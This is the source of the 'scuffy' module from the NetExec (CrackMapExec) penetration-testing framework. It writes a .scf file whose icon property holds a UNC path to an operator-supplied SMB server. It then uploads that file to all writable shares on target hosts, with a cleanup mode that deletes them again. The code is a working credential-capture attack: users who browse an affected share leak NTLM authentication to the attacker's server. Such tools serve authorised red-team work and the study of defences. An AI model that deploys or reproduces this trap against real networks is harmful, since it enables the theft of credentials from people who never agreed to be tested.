NetExec/cme/modules/scuffy.py

83 lines
3.0 KiB
Python

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import ntpath
from sys import exit
class CMEModule:
"""
Original idea and PoC by Mubix "Rob" Fuller
URL: https://room362.com/post/2016/smb-http-auth-capture-via-scf/
Module by: @kierangroome
"""
name = "scuffy"
description = "Creates and dumps an arbitrary .scf file with the icon property containing a UNC path to the declared SMB server against all writeable shares"
supported_protocols = ["smb"]
opsec_safe = False
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.cleanup = None
self.server = None
self.file_path = None
self.scf_path = None
self.scf_name = None
def options(self, context, module_options):
"""
SERVER IP of the SMB server
NAME SCF file name
CLEANUP Cleanup (choices: True or False)
"""
self.cleanup = False
if "CLEANUP" in module_options:
self.cleanup = bool(module_options["CLEANUP"])
if "NAME" not in module_options:
context.log.fail("NAME option is required!")
exit(1)
if not self.cleanup and "SERVER" not in module_options:
context.log.fail("SERVER option is required!")
exit(1)
self.scf_name = module_options["NAME"]
self.scf_path = f"/tmp/{self.scf_name}.scf"
self.file_path = ntpath.join("\\", f"{self.scf_name}.scf")
if not self.cleanup:
self.server = module_options["SERVER"]
scuf = open(self.scf_path, "a")
scuf.write(f"[Shell]\n")
scuf.write(f"Command=2\n")
scuf.write(f"IconFile=\\\\{self.server}\\share\\icon.ico\n")
scuf.close()
def on_login(self, context, connection):
shares = connection.shares()
for share in shares:
if "WRITE" in share["access"] and share["name"] not in [
"C$",
"ADMIN$",
"NETLOGON",
]:
context.log.success(f"Found writable share: {share['name']}")
if not self.cleanup:
with open(self.scf_path, "rb") as scf:
try:
connection.conn.putFile(share["name"], self.file_path, scf.read)
context.log.success(f"Created SCF file on the {share['name']} share")
except Exception as e:
context.log.fail(f"Error writing SCF file to share {share['name']}: {e}")
else:
try:
connection.conn.deleteFile(share["name"], self.file_path)
context.log.success(f"Deleted SCF file on the {share['name']} share")
except Exception as e:
context.log.fail(f"Error deleting SCF file on share {share['name']}: {e}")